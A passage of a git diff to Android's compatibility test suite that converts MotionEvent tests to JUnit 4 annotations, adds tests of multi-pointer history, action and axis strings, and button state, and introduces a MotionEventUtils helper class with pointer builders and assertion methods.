+                withCoords(30.0f, 40.0f).withPressure(1.4f).withSize(3.0f).withTouch(2.2f, 0.6f);
+
+        PointerPropertiesBuilder propertiesBuilder0 =
+                withProperties(0, MotionEvent.TOOL_TYPE_FINGER);
+        PointerPropertiesBuilder propertiesBuilder1 =
+                withProperties(1, MotionEvent.TOOL_TYPE_FINGER);
+
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_MOVE, 2,
+                new PointerProperties[] { propertiesBuilder0.build(), propertiesBuilder1.build() },
+                new PointerCoords[] { coordsBuilder0.build(), coordsBuilder1.build() },
+                0, 0, 1.0f, 1.0f, 0, 0, InputDevice.SOURCE_TOUCHSCREEN, 0);
+
+        // We expect to have data for two pointers
+        assertEquals(2, mMotionEventDynamic.getPointerCount());
+        assertEquals(0, mMotionEventDynamic.getPointerId(0));
+        assertEquals(1, mMotionEventDynamic.getPointerId(1));
+        assertEquals(0, mMotionEventDynamic.getFlags());
+        verifyCurrentPointerData(mMotionEventDynamic,
+                new PointerPropertiesBuilder[] { propertiesBuilder0, propertiesBuilder1 },
+                new PointerCoordsBuilder[] { coordsBuilder0, coordsBuilder1 });
+    }
+
+    @Test
+    public void testGetHistoricalDataWithTwoPointers() {
+        // PHASE 1 - construct the initial data for the event
+        PointerCoordsBuilder coordsBuilderInitial0 =
+                withCoords(10.0f, 20.0f).withPressure(1.2f).withSize(2.0f).withTool(1.2f, 1.4f).
+                        withTouch(0.7f, 0.6f).withOrientation(2.0f);
+        PointerCoordsBuilder coordsBuilderInitial1 =
+                withCoords(30.0f, 40.0f).withPressure(1.4f).withSize(3.0f).withTool(1.3f, 1.7f).
+                        withTouch(2.7f, 3.6f).withOrientation(1.0f);
+
+        PointerPropertiesBuilder propertiesBuilder0 =
+                withProperties(0, MotionEvent.TOOL_TYPE_FINGER);
+        PointerPropertiesBuilder propertiesBuilder1 =
+                withProperties(1, MotionEvent.TOOL_TYPE_FINGER);
+
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_MOVE, 2,
+                new PointerProperties[] { propertiesBuilder0.build(), propertiesBuilder1.build() },
+                new PointerCoords[] {
+                        coordsBuilderInitial0.build(), coordsBuilderInitial1.build() },
+                0, 0, 1.0f, 1.0f, 0, 0, InputDevice.SOURCE_TOUCHSCREEN, 0);
+
+        // We expect to have data for two pointers
+        assertEquals(2, mMotionEventDynamic.getPointerCount());
+        assertEquals(0, mMotionEventDynamic.getPointerId(0));
+        assertEquals(1, mMotionEventDynamic.getPointerId(1));
+        assertEquals(0, mMotionEventDynamic.getFlags());
+        verifyCurrentPointerData(mMotionEventDynamic,
+                new PointerPropertiesBuilder[] { propertiesBuilder0, propertiesBuilder1 },
+                new PointerCoordsBuilder[] { coordsBuilderInitial0, coordsBuilderInitial1 });
+
+        // PHASE 2 - add a new batch of data to our event
+        PointerCoordsBuilder coordsBuilderNext0 =
+                withCoords(15.0f, 25.0f).withPressure(1.6f).withSize(2.2f).withTool(1.2f, 1.4f).
+                        withTouch(1.0f, 0.9f).withOrientation(2.2f);
+        PointerCoordsBuilder coordsBuilderNext1 =
+                withCoords(35.0f, 45.0f).withPressure(1.8f).withSize(3.2f).withTool(1.2f, 1.4f).
+                        withTouch(0.7f, 0.6f).withOrientation(2.9f);
+
+        mMotionEventDynamic.addBatch(mEventTime + 10,
+                new PointerCoords[] { coordsBuilderNext0.build(), coordsBuilderNext1.build() }, 0);
+        // We still expect to have data for two pointers
+        assertEquals(2, mMotionEventDynamic.getPointerCount());
+        assertEquals(0, mMotionEventDynamic.getPointerId(0));
+        assertEquals(1, mMotionEventDynamic.getPointerId(1));
+        assertEquals(0, mMotionEventDynamic.getFlags());
+
+        // The newly added batch should be the "new" values of the event
+        verifyCurrentPointerData(mMotionEventDynamic,
+                new PointerPropertiesBuilder[] { propertiesBuilder0, propertiesBuilder1 },
+                new PointerCoordsBuilder[] { coordsBuilderNext0, coordsBuilderNext1 });
+        assertEquals(mEventTime + 10, mMotionEventDynamic.getEventTime());
+        // We should have history with 1 entry
+        assertEquals(1, mMotionEventDynamic.getHistorySize());
+        // And the previous / original data should be history at index 0
+        assertEquals(1, mMotionEventDynamic.getHistorySize());
+        verifyHistoricalPointerData(mMotionEventDynamic,
+                new PointerCoordsBuilder[] { coordsBuilderInitial0, coordsBuilderInitial1 },
+                0);
+
+        // PHASE 3 - add one more new batch of data to our event
+        PointerCoordsBuilder coordsBuilderLast0 =
+                withCoords(18.0f, 28.0f).withPressure(1.1f).withSize(2.9f).withTool(1.5f, 1.9f).
+                        withTouch(1.2f, 5.0f).withOrientation(3.2f);
+        PointerCoordsBuilder coordsBuilderLast1 =
+                withCoords(38.0f, 48.0f).withPressure(1.2f).withSize(2.5f).withTool(0.2f, 0.4f).
+                        withTouch(2.7f, 4.6f).withOrientation(0.2f);
+
+        mMotionEventDynamic.addBatch(mEventTime + 20,
+                new PointerCoords[] { coordsBuilderLast0.build(), coordsBuilderLast1.build() }, 0);
+        // We still expect to have data for two pointers
+        assertEquals(2, mMotionEventDynamic.getPointerCount());
+        assertEquals(0, mMotionEventDynamic.getPointerId(0));
+        assertEquals(1, mMotionEventDynamic.getPointerId(1));
+        assertEquals(0, mMotionEventDynamic.getFlags());
+
+        // The newly added batch should be the "new" values of the event
+        verifyCurrentPointerData(mMotionEventDynamic,
+                new PointerPropertiesBuilder[] { propertiesBuilder0, propertiesBuilder1 },
+                new PointerCoordsBuilder[] { coordsBuilderLast0, coordsBuilderLast1 });
+        assertEquals(mEventTime + 20, mMotionEventDynamic.getEventTime());
+        // We should have history with 2 entries
+        assertEquals(2, mMotionEventDynamic.getHistorySize());
+        // The previous data should be history at index 1
+        verifyHistoricalPointerData(mMotionEventDynamic,
+                new PointerCoordsBuilder[] { coordsBuilderNext0, coordsBuilderNext1 },
+                1);
+        assertEquals(mEventTime + 10, mMotionEventDynamic.getHistoricalEventTime(1));
+        // And the original data should be history at index 0
+        verifyHistoricalPointerData(mMotionEventDynamic,
+                new PointerCoordsBuilder[] { coordsBuilderInitial0, coordsBuilderInitial1 },
+                0);
+        assertEquals(mEventTime, mMotionEventDynamic.getHistoricalEventTime(0));
+    }
+
+    @Test
     public void testGetHistorySize() {
         long eventTime = SystemClock.uptimeMillis();
         float x = 10.0f;
@@ -339,6 +557,7 @@
         assertEquals(1, mMotionEvent2.getHistorySize());
     }
 
+    @Test
     public void testRecycle() {
         mMotionEvent2.setAction(MotionEvent.ACTION_MOVE);
         assertEquals(0, mMotionEvent2.getHistorySize());
@@ -346,24 +565,23 @@
         assertEquals(1, mMotionEvent2.getHistorySize());
 
         mMotionEvent2.recycle();
-        
+
         try {
             mMotionEvent2.recycle();
             fail("recycle() should throw an exception when the event has already been recycled.");
         } catch (RuntimeException ex) {
         }
-        
+
         mMotionEvent2 = null; // since it was recycled, don't try to recycle again in tear down
     }
 
+    @Test(expected=IllegalArgumentException.class)
     public void testTransformShouldThrowWhenMatrixIsNull() {
-        try {
-            mMotionEvent1.transform(null);
-            fail("transform() should throw an exception when matrix is null.");
-        } catch (IllegalArgumentException ex) {
-        }
+        // transform() should throw an exception when matrix is null
+        mMotionEvent1.transform(null);
     }
 
+    @Test
     public void testTransformShouldApplyMatrixToPointsAndPreserveRawPosition() {
         // Generate some points on a circle.
         // Each point 'i' is a point on a circle of radius ROTATION centered at (3,2) at an angle
@@ -445,20 +663,22 @@
         }
     }
 
+    @Test
     public void testPointerCoordsDefaultConstructor() {
         PointerCoords coords = new PointerCoords();
 
-        assertEquals(0f, coords.x);
-        assertEquals(0f, coords.y);
-        assertEquals(0f, coords.pressure);
-        assertEquals(0f, coords.size);
-        assertEquals(0f, coords.touchMajor);
-        assertEquals(0f, coords.touchMinor);
-        assertEquals(0f, coords.toolMajor);
-        assertEquals(0f, coords.toolMinor);
-        assertEquals(0f, coords.orientation);
+        assertEquals(0f, coords.x, 0.0f);
+        assertEquals(0f, coords.y, 0.0f);
+        assertEquals(0f, coords.pressure, 0.0f);
+        assertEquals(0f, coords.size, 0.0f);
+        assertEquals(0f, coords.touchMajor, 0.0f);
+        assertEquals(0f, coords.touchMinor, 0.0f);
+        assertEquals(0f, coords.toolMajor, 0.0f);
+        assertEquals(0f, coords.toolMinor, 0.0f);
+        assertEquals(0f, coords.orientation, 0.0f);
     }
 
+    @Test
     public void testPointerCoordsCopyConstructor() {
         PointerCoords coords = new PointerCoords();
         coords.x = 1;
@@ -473,18 +693,19 @@
         coords.setAxisValue(MotionEvent.AXIS_GENERIC_1, 10);
 
         PointerCoords copy = new PointerCoords(coords);
-        assertEquals(1f, copy.x);
-        assertEquals(2f, copy.y);
-        assertEquals(3f, copy.pressure);
-        assertEquals(4f, copy.size);
-        assertEquals(5f, copy.touchMajor);
-        assertEquals(6f, copy.touchMinor);
-        assertEquals(7f, copy.toolMajor);
-        assertEquals(8f, copy.toolMinor);
-        assertEquals(9f, copy.orientation);
-        assertEquals(10f, coords.getAxisValue(MotionEvent.AXIS_GENERIC_1));
+        assertEquals(1f, copy.x, 0.0f);
+        assertEquals(2f, copy.y, 0.0f);
+        assertEquals(3f, copy.pressure, 0.0f);
+        assertEquals(4f, copy.size, 0.0f);
+        assertEquals(5f, copy.touchMajor, 0.0f);
+        assertEquals(6f, copy.touchMinor, 0.0f);
+        assertEquals(7f, copy.toolMajor, 0.0f);
+        assertEquals(8f, copy.toolMinor, 0.0f);
+        assertEquals(9f, copy.orientation, 0.0f);
+        assertEquals(10f, coords.getAxisValue(MotionEvent.AXIS_GENERIC_1), 0.0f);
     }
 
+    @Test
     public void testPointerCoordsCopyFrom() {
         PointerCoords coords = new PointerCoords();
         coords.x = 1;
@@ -500,18 +721,19 @@
 
         PointerCoords copy = new PointerCoords();
         copy.copyFrom(coords);
-        assertEquals(1f, copy.x);
-        assertEquals(2f, copy.y);
-        assertEquals(3f, copy.pressure);
-        assertEquals(4f, copy.size);
-        assertEquals(5f, copy.touchMajor);
-        assertEquals(6f, copy.touchMinor);
-        assertEquals(7f, copy.toolMajor);
-        assertEquals(8f, copy.toolMinor);
-        assertEquals(9f, copy.orientation);
-        assertEquals(10f, coords.getAxisValue(MotionEvent.AXIS_GENERIC_1));
+        assertEquals(1f, copy.x, 0.0f);
+        assertEquals(2f, copy.y, 0.0f);
+        assertEquals(3f, copy.pressure, 0.0f);
+        assertEquals(4f, copy.size, 0.0f);
+        assertEquals(5f, copy.touchMajor, 0.0f);
+        assertEquals(6f, copy.touchMinor, 0.0f);
+        assertEquals(7f, copy.toolMajor, 0.0f);
+        assertEquals(8f, copy.toolMinor, 0.0f);
+        assertEquals(9f, copy.orientation, 0.0f);
+        assertEquals(10f, coords.getAxisValue(MotionEvent.AXIS_GENERIC_1), 0.0f);
     }
 
+    @Test
     public void testPointerPropertiesDefaultConstructor() {
         PointerProperties properties = new PointerProperties();
 
@@ -519,6 +741,7 @@
         assertEquals(MotionEvent.TOOL_TYPE_UNKNOWN, properties.toolType);
     }
 
+    @Test
     public void testPointerPropertiesCopyConstructor() {
         PointerProperties properties = new PointerProperties();
         properties.id = 1;
@@ -529,6 +752,7 @@
         assertEquals(MotionEvent.TOOL_TYPE_MOUSE, copy.toolType);
     }
 
+    @Test
     public void testPointerPropertiesCopyFrom() {
         PointerProperties properties = new PointerProperties();
         properties.id = 1;
@@ -539,4 +763,152 @@
         assertEquals(1, copy.id);
         assertEquals(MotionEvent.TOOL_TYPE_MOUSE, copy.toolType);
     }
+
+    @Test
+    public void testActionToString() {
+        final int[] actions = {
+                MotionEvent.ACTION_DOWN,
+                MotionEvent.ACTION_UP,
+                MotionEvent.ACTION_MOVE,
+                MotionEvent.ACTION_CANCEL,
+                MotionEvent.ACTION_OUTSIDE,
+                MotionEvent.ACTION_HOVER_MOVE,
+                MotionEvent.ACTION_SCROLL,
+                MotionEvent.ACTION_HOVER_ENTER,
+                MotionEvent.ACTION_HOVER_EXIT,
+                MotionEvent.ACTION_BUTTON_PRESS,
+                MotionEvent.ACTION_BUTTON_RELEASE
+        };
+
+        // There is no hard guarantee on the actual return result on any specific action
+        // from MotionEvent.actionToString. Verify that we are not crashing on those calls
+        // and that the return result on each is not empty
+        for (int i = 0; i < actions.length; i++) {
+            assertFalse(TextUtils.isEmpty(MotionEvent.actionToString(actions[i])));
+        }
+
+        final int[] pointerActions = {
+                MotionEvent.ACTION_POINTER_UP,
+                MotionEvent.ACTION_POINTER_DOWN
+        };
+
+        for (int i = 0; i < pointerActions.length; i++) {
+            for (int pointer = 0; pointer < 5; pointer++) {
+                int pointerAction =
+                        pointerActions[i] | pointer << MotionEvent.ACTION_POINTER_INDEX_SHIFT;
+                assertFalse(TextUtils.isEmpty(MotionEvent.actionToString(pointerAction)));
+            }
+        }
+    }
+
+    @Test
+    public void testAxisFromToString() {
+        final int[] axes = {
+                MotionEvent.AXIS_X,
+                MotionEvent.AXIS_Y,
+                MotionEvent.AXIS_PRESSURE,
+                MotionEvent.AXIS_SIZE,
+                MotionEvent.AXIS_TOUCH_MAJOR,
+                MotionEvent.AXIS_TOUCH_MINOR,
+                MotionEvent.AXIS_TOOL_MAJOR,
+                MotionEvent.AXIS_TOOL_MINOR,
+                MotionEvent.AXIS_ORIENTATION,
+                MotionEvent.AXIS_VSCROLL,
+                MotionEvent.AXIS_HSCROLL,
+                MotionEvent.AXIS_Z,
+                MotionEvent.AXIS_RX,
+                MotionEvent.AXIS_RY,
+                MotionEvent.AXIS_RZ,
+                MotionEvent.AXIS_HAT_X,
+                MotionEvent.AXIS_HAT_Y,
+                MotionEvent.AXIS_LTRIGGER,
+                MotionEvent.AXIS_RTRIGGER,
+                MotionEvent.AXIS_THROTTLE,
+                MotionEvent.AXIS_RUDDER,
+                MotionEvent.AXIS_WHEEL,
+                MotionEvent.AXIS_GAS,
+                MotionEvent.AXIS_BRAKE,
+                MotionEvent.AXIS_DISTANCE,
+                MotionEvent.AXIS_TILT,
+                MotionEvent.AXIS_SCROLL,
+                MotionEvent.AXIS_RELATIVE_X,
+                MotionEvent.AXIS_RELATIVE_Y,
+                MotionEvent.AXIS_GENERIC_1,
+                MotionEvent.AXIS_GENERIC_2,
+                MotionEvent.AXIS_GENERIC_3,
+                MotionEvent.AXIS_GENERIC_4,
+                MotionEvent.AXIS_GENERIC_5,
+                MotionEvent.AXIS_GENERIC_6,
+                MotionEvent.AXIS_GENERIC_7,
+                MotionEvent.AXIS_GENERIC_8,
+                MotionEvent.AXIS_GENERIC_9,
+                MotionEvent.AXIS_GENERIC_10,
+                MotionEvent.AXIS_GENERIC_11,
+                MotionEvent.AXIS_GENERIC_12,
+                MotionEvent.AXIS_GENERIC_13,
+                MotionEvent.AXIS_GENERIC_14,
+                MotionEvent.AXIS_GENERIC_15,
+                MotionEvent.AXIS_GENERIC_16
+        };
+
+        // There is no hard guarantee on the actual return result on any specific axis
+        // from MotionEvent.axisToString. Verify that we are not crashing on those calls
+        // and that the return result on each is not empty. However, we do expect the two-way
+        // call chain of to/from to get us back to the original integer value.
+        for (int i = 0; i < axes.length; i++) {
+            String axisToString = MotionEvent.axisToString(axes[i]);
+            assertFalse(TextUtils.isEmpty(axisToString));
+            assertEquals(axes[i], MotionEvent.axisFromString(axisToString));
+        }
+    }
+
+    @Test
+    public void testGetActionButton() {
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_BUTTON_PRESS, X_3F, Y_4F, 0);
+        mMotionEventDynamic.setActionButton(MotionEvent.BUTTON_STYLUS_PRIMARY);
+        assertEquals(MotionEvent.BUTTON_STYLUS_PRIMARY, mMotionEventDynamic.getActionButton());
+        mMotionEventDynamic.recycle();
+
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_BUTTON_PRESS, X_3F, Y_4F, 0);
+        mMotionEventDynamic.setActionButton(MotionEvent.BUTTON_SECONDARY);
+        assertEquals(MotionEvent.BUTTON_SECONDARY, mMotionEventDynamic.getActionButton());
+    }
+
+    @Test
+    public void testIsButtonPressed() {
+        mMotionEventDynamic = MotionEvent.obtain(mDownTime, mEventTime,
+                MotionEvent.ACTION_DOWN, X_3F, Y_4F, 0);
+        mMotionEventDynamic.setSource(InputDevice.SOURCE_MOUSE);
+
+        mMotionEventDynamic.setButtonState(
+                MotionEvent.BUTTON_PRIMARY | MotionEvent.BUTTON_STYLUS_PRIMARY);
+        assertTrue(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_SECONDARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_TERTIARY));
+        assertTrue(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_SECONDARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_BACK));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_FORWARD));
+
+        mMotionEventDynamic.setButtonState(MotionEvent.BUTTON_PRIMARY);
+        assertTrue(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_SECONDARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_TERTIARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_SECONDARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_BACK));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_FORWARD));
+
+        mMotionEventDynamic.setButtonState(
+                MotionEvent.BUTTON_FORWARD | MotionEvent.BUTTON_TERTIARY);
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_SECONDARY));
+        assertTrue(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_TERTIARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_PRIMARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_STYLUS_SECONDARY));
+        assertFalse(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_BACK));
+        assertTrue(mMotionEventDynamic.isButtonPressed(MotionEvent.BUTTON_FORWARD));
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/MotionEventUtils.java b/tests/tests/view/src/android/view/cts/MotionEventUtils.java
new file mode 100644
index 0000000..74291c7
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MotionEventUtils.java
@@ -0,0 +1,393 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.view.MotionEvent;
+import android.view.MotionEvent.PointerCoords;
+import android.view.MotionEvent.PointerProperties;
+
+public class MotionEventUtils {
+    private static final float DELTA = 0.01f;
+
+    private MotionEventUtils() {
+    }
+
+    public static PointerCoordsBuilder withCoords(float x, float y) {
+        final PointerCoordsBuilder builder = new PointerCoordsBuilder();
+        builder.x = x;
+        builder.y = y;
+        return builder;
+    }
+
+    public static PointerPropertiesBuilder withProperties(int id, int toolType) {
+        final PointerPropertiesBuilder builder = new PointerPropertiesBuilder();
+        builder.id = id;
+        builder.toolType = toolType;
+        return builder;
+    }
+
+    public static class PointerPropertiesBuilder {
+        private int id;
+        private int toolType;
+
+        public PointerProperties build() {
+            final PointerProperties pointerProperties =
+                    new PointerProperties();
+            pointerProperties.id = id;
+            pointerProperties.toolType = toolType;
+            return pointerProperties;
+        }
+
+        public void verifyMatches(MotionEvent that, int pointerIndex) {
+            assertEquals("Pointer ID should be the same",
+                    that.getPointerId(pointerIndex), this.id);
+            assertEquals("Tool type should be the same",
+                    that.getToolType(pointerIndex), this.toolType);
+        }
+
+        public void verifyMatchesPointerProperties(PointerProperties that) {
+            assertEquals("Pointer ID should be the same", that.id, this.id);
+            assertEquals("Tool type should be the same", that.toolType, this.toolType);
+        }
+
+        public void verifyMatchesPointerProperties(MotionEvent motionEvent, int pointerIndex) {
+            final PointerProperties that = new PointerProperties();
+            motionEvent.getPointerProperties(pointerIndex, that);
+
+            verifyMatchesPointerProperties(that);
+        }
+    }
+
+    public static class PointerCoordsBuilder {
+        private float x;
+        private float y;
+        private float pressure = 1.0f;
+        private float size = 1.0f;
+        private float touchMajor;
+        private float touchMinor;
+        private float toolMajor;
+        private float toolMinor;
+        private float orientation;
+
+        public PointerCoordsBuilder withPressure(float pressure) {
+            this.pressure = pressure;
+            return this;
+        }
+
+        public PointerCoordsBuilder withSize(float size) {
+            this.size = size;
+            return this;
+        }
+
+        public PointerCoordsBuilder withTouch(float touchMajor, float touchMinor) {
+            this.touchMajor = touchMajor;
+            this.touchMinor = touchMinor;
+            return this;
+        }
+
+        public PointerCoordsBuilder withTool(float toolMajor, float toolMinor) {
+            this.toolMajor = toolMajor;
+            this.toolMinor = toolMinor;
+            return this;
+        }
+
+        public PointerCoordsBuilder withOrientation(float orientation) {
+            this.orientation = orientation;
+            return this;
+        }
+
+        public PointerCoords build() {
+            final PointerCoords pointerCoords = new PointerCoords();
+            pointerCoords.x = x;
+            pointerCoords.y = y;
+            pointerCoords.pressure = pressure;
+            pointerCoords.size = size;
+            pointerCoords.touchMajor = touchMajor;
+            pointerCoords.touchMinor = touchMinor;
+            pointerCoords.toolMajor = toolMajor;
+            pointerCoords.toolMinor = toolMinor;
+            pointerCoords.orientation = orientation;
+            return pointerCoords;
+        }
+
+        public void verifyMatches(MotionEvent that) {
+            assertEquals("X coordinates should be the same", that.getX(), this.x, DELTA);
+            assertEquals("X coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_X), this.x, DELTA);
+
+            assertEquals("Y coordinates should be the same", that.getY(), this.y, DELTA);
+            assertEquals("Y coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_Y), this.y, DELTA);
+
+            assertEquals("Pressure should be the same", that.getPressure(), this.pressure, DELTA);
+            assertEquals("Pressure should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_PRESSURE), this.pressure, DELTA);
+
+            assertEquals("Size should be the same", that.getSize(), this.size, DELTA);
+            assertEquals("Size should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_SIZE), this.size, DELTA);
+
+            assertEquals("Touch major should be the same",
+                    that.getTouchMajor(), this.touchMajor,DELTA);
+            assertEquals("Touch major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MAJOR), this.touchMajor, DELTA);
+
+            assertEquals("Touch minor should be the same",
+                    that.getTouchMinor(), this.touchMinor, DELTA);
+            assertEquals("Touch minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MINOR), this.touchMinor, DELTA);
+
+            assertEquals("Tool major should be the same",
+                    that.getToolMajor(), this.toolMajor, DELTA);
+            assertEquals("Tool major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MAJOR), this.toolMajor, DELTA);
+
+            assertEquals("Tool minor should be the same",
+                    that.getToolMinor(), this.toolMinor, DELTA);
+            assertEquals("Tool minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MINOR), this.toolMinor, DELTA);
+
+            assertEquals("Orientation should be the same",
+                    that.getOrientation(), this.orientation, DELTA);
+            assertEquals("Orientation should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_ORIENTATION), this.orientation, DELTA);
+        }
+
+        public void verifyMatches(MotionEvent that, int pointerIndex) {
+            assertEquals("X coordinates should be the same",
+                    that.getX(pointerIndex), this.x, DELTA);
+            assertEquals("X coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_X, pointerIndex), this.x, DELTA);
+
+            assertEquals("Y coordinates should be the same",
+                    that.getY(pointerIndex), this.y, DELTA);
+            assertEquals("Y coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_Y, pointerIndex), this.y, DELTA);
+
+            assertEquals("Pressure should be the same",
+                    that.getPressure(pointerIndex), this.pressure, DELTA);
+            assertEquals("Pressure should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_PRESSURE, pointerIndex), this.pressure,
+                        DELTA);
+
+            assertEquals("Size should be the same",
+                    that.getSize(pointerIndex), this.size, DELTA);
+            assertEquals("Size should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_SIZE, pointerIndex), this.size, DELTA);
+
+            assertEquals("Touch major should be the same",
+                    that.getTouchMajor(pointerIndex), this.touchMajor,DELTA);
+            assertEquals("Touch major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MAJOR, pointerIndex), this.touchMajor,
+                        DELTA);
+
+            assertEquals("Touch minor should be the same",
+                    that.getTouchMinor(pointerIndex), this.touchMinor, DELTA);
+            assertEquals("Touch minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MINOR, pointerIndex), this.touchMinor,
+                        DELTA);
+
+            assertEquals("Tool major should be the same",
+                    that.getToolMajor(pointerIndex), this.toolMajor, DELTA);
+            assertEquals("Tool major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MAJOR, pointerIndex), this.toolMajor,
+                        DELTA);
+
+            assertEquals("Tool minor should be the same",
+                    that.getToolMinor(pointerIndex), this.toolMinor, DELTA);
+            assertEquals("Tool minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MINOR, pointerIndex), this.toolMinor,
+                        DELTA);
+
+            assertEquals("Orientation should be the same",
+                    that.getOrientation(pointerIndex), this.orientation, DELTA);
+            assertEquals("Orientation should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_ORIENTATION, pointerIndex), this.orientation,
+                        DELTA);
+        }
+
+        public void verifyMatchesHistorical(MotionEvent that, int position) {
+            assertEquals("X coordinates should be the same",
+                    that.getHistoricalX(position), this.x, DELTA);
+            assertEquals("X coordinates should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_X, position), this.x, DELTA);
+
+            assertEquals("Y coordinates should be the same",
+                    that.getHistoricalY(position), this.y, DELTA);
+            assertEquals("Y coordinates should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_Y, position), this.y, DELTA);
+
+            assertEquals("Pressure should be the same",
+                    that.getHistoricalPressure(position), this.pressure, DELTA);
+            assertEquals("Pressure should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_PRESSURE, position), this.pressure,
+                    DELTA);
+
+            assertEquals("Size should be the same",
+                    that.getHistoricalSize(position), this.size, DELTA);
+            assertEquals("Size should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_SIZE, position), this.size, DELTA);
+
+            assertEquals("Touch major should be the same",
+                    that.getHistoricalTouchMajor(position), this.touchMajor,DELTA);
+            assertEquals("Touch major should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOUCH_MAJOR, position),
+                    this.touchMajor, DELTA);
+
+            assertEquals("Touch minor should be the same",
+                    that.getHistoricalTouchMinor(position), this.touchMinor, DELTA);
+            assertEquals("Touch minor should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOUCH_MINOR, position),
+                    this.touchMinor, DELTA);
+
+            assertEquals("Tool major should be the same",
+                    that.getHistoricalToolMajor(position), this.toolMajor, DELTA);
+            assertEquals("Tool major should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOOL_MAJOR, position),
+                    this.toolMajor, DELTA);
+
+            assertEquals("Tool minor should be the same",
+                    that.getHistoricalToolMinor(position), this.toolMinor, DELTA);
+            assertEquals("Tool minor should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOOL_MINOR, position),
+                    this.toolMinor, DELTA);
+
+            assertEquals("Orientation should be the same",
+                    that.getHistoricalOrientation(position), this.orientation, DELTA);
+            assertEquals("Orientation should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_ORIENTATION, position),
+                    this.orientation, DELTA);
+        }
+
+        public void verifyMatchesHistorical(MotionEvent that, int pointerIndex, int position) {
+            assertEquals("X coordinates should be the same",
+                    that.getHistoricalX(pointerIndex, position), this.x, DELTA);
+            assertEquals("X coordinates should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_X, pointerIndex, position),
+                    this.x, DELTA);
+
+            assertEquals("Y coordinates should be the same",
+                    that.getHistoricalY(pointerIndex, position), this.y, DELTA);
+            assertEquals("Y coordinates should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_Y, pointerIndex, position),
+                    this.y, DELTA);
+
+            assertEquals("Pressure should be the same",
+                    that.getHistoricalPressure(pointerIndex, position), this.pressure, DELTA);
+            assertEquals("Pressure should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_PRESSURE, pointerIndex, position),
+                    this.pressure, DELTA);
+
+            assertEquals("Size should be the same",
+                    that.getHistoricalSize(pointerIndex, position), this.size, DELTA);
+            assertEquals("Size should be the same",
